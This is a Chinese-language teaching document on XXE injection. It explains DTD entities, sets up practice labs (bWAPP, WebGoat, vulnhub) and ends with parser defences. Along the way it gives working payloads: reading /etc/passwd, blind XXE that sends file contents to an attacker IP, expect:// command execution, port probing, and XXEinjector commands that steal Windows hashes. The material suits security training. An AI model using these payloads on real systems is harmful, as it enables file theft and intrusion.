XXE(XML外部实体注入)实战攻防教学文档
1. XXE概述
XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
1.1 XML基础
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。
1.1.1 文档结构
XML文档结构包括:
- XML声明
- DTD文档类型定义(可选)
- 文档元素
示例:
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
1.1.2 DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
内部DOCTYPE声明:
<!DOCTYPE 根元素 [元素声明]>
外部文档声明:
<!DOCTYPE 根元素 SYSTEM "文件名">
1.1.3 DTD实体
内部实体声明:
<!ENTITY 实体名称 "实体的值">
外部实体声明:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体声明:
<!ENTITY %实体名称 "实体的值">
或
<!ENTITY %实体名称 SYSTEM "URI">
使用区别:
- 参数实体用%实体名称申明,引用时也用%实体名称
- 其余实体直接用实体名称申明,引用时用&实体名称
- 参数实体只能在DTD中申明,DTD中引用
- 其余实体只能在DTD中申明,可在xml文档中引用
1.2 XXE原理
XXE即XML外部实体注入,包含两个关键概念:
- 注入:XML数据在传输过程中被修改,导致服务器执行修改后的恶意代码
- 外部实体:攻击者通过利用外部实体声明部分对XML数据进行修改、插入恶意代码
XXE攻击利用外部实体声明部分的"SYSTEM"关键词导致XML解析器可以从本地文件或远程URI中读取受保护的数据。
1.3 XXE分类
1.3.1 按构造外部实体声明方式
- 直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;<hhh>
- 通过DTD文档引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://example.com/Quan.dtd">
<hhh>&f;<hhh>
Quan.dtd内容:
<!ENTITY f SYSTEM "file:///etc/passwd">
- 通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://example.com/Quan.dtd">
]>
<hhh>&f;<hhh>
1.3.2 按输出信息
- 正常回显XXE:服务器直接回显信息
- 报错XXE:服务器回显错误信息,根据错误判断是否注入成功
- Blind XXE:无回显信息,需组合利用file/http/ftp协议查看日志
Blind XXE示例:
<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者IP/Quan.xml">
%remote;
%all;
]>
<root>&send;</root>
Quan.xml内容:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">
2. XXE危害
2.1 读取任意文件
PHP中可通过多种协议读取文件:
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;<hhh>
XML在各语言下支持的协议:
- PHP: file, http, ftp, php, compress.zlib, data, glob, phar
- Java: http, https, ftp, file, jar, netdoc, mailto, gopher
- .NET: file, http, https, ftp
2.2 执行系统命令
当配置不当/开发内部应用时(如PHP expect模块被加载):
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "expect://id">
]>
<hhh>&f;<hhh>
2.3 探测内网端口
根据返回信息判断端口状态:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
3. 测试方法
3.1 测试靶场介绍
3.1.1 PHP靶场-bWAPP
安装:
- 下载地址:https://sourceforge.net/projects/bwapp/files/latest/download
- 解压到WWW目录
- 修改admin/settings.php中的数据库配置
- 访问http://127.0.0.1/bWAPP/install.php创建数据库
虚拟机版本:
- 下载:https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
- 使用VMWare打开,NAT模式
3.1.2 Java靶场--WebGoat
安装:
- 下载:https://github.com/WebGoat/WebGoat/releases
- 安装JDK
- 启动:
java -jar webgoat-server-8.0.0.M25.jar - 访问:http://127.0.0.1:8080/WebGoat
3.1.3 DSVW靶场
安装:
- 安装lxml:
apt-get install python-lxml - 下载:
git clone https://github.com/stamparm/DSVW.git - 运行:
python dsvw.py - 访问:http://127.0.0.1:65412
3.1.4 xxe-lab
安装:
- PHP:放入WWW目录
- Java:导入eclipse部署
- Python:安装Flask后运行
python xxe.py
3.2 手工测试(以bWAPP为例)
3.2.1 Low等级测试
- 选择"XML External Entity Attacks (XXE)"漏洞,安全等级Low
- 点击"Any bugs?"抓包
- 构造Payload读取文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136/bWAPP/robots.txt">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
- 探测内网端口:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>
- Blind XXE思路:
<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者IP/Quan.xml">
%remote;
%all;
]>
<root>&send;</root>
3.2.2 源码分析
Low等级:
$xml = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT);
$login = $dom->getElementsByTagName('login')->item(0)->nodeValue;
echo $login;
Medium/High等级:
从session获取login值,无法利用login元素进行XXE攻击
3.3 工具测试
3.3.1 Burp Collaborator插件
- 安装:Burpsuite的Extender模块下的BApp Store
- 使用:
- 构造Blind XXE Payload
- 打开Collaborator client获取payload URL
- 在XXE Payload中使用该URL
- 查看Collaborator是否有访问记录
3.3.2 XXEinjector
安装:
- 安装Ruby环境:
apt-get install ruby - 下载:https://github.com/enjoiz/XXEinjector
使用示例:
-
枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl -
使用gopher枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher -
窃取Windows哈希:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
4. 真实实战演练
4.1 靶场介绍
vulnhub的XXE虚拟机靶场,用于演示XXE攻击
4.2 安装
下载:https://download.vulnhub.com/xxe/XXE.zip
导入虚拟机,NAT模式
4.3 实战演示
- 扫描发现80端口开放,/xxe/目录和/admin.php文件
- 访问/xxe/目录,提交表单并抓包
- 构造读取文件的Payload:
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///var/www/xxe/flagmeout.php">
]>
<root>&f;</root>
- 获取Base64编码结果并解码
5. CMS实战演练(Metinfo 6.0.0)
5.1 漏洞位置
app/system/pay/web/pay.class.php
5.2 漏洞成因
未禁止外部实体加载
5.3 测试过程
- 构造XXE Payload测试
- 查看攻击者服务器日志确认是否成功
5.4 修复建议
升级到v6.1.0(已删除pay.class.php文件)
6. 防御方法
6.1 通用方法
过滤用户提交的XML数据中的关键词:<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC
6.2 PHP防御
libxml_disable_entity_loader(true);
6.3 Java防御
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
6.4 Python防御
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))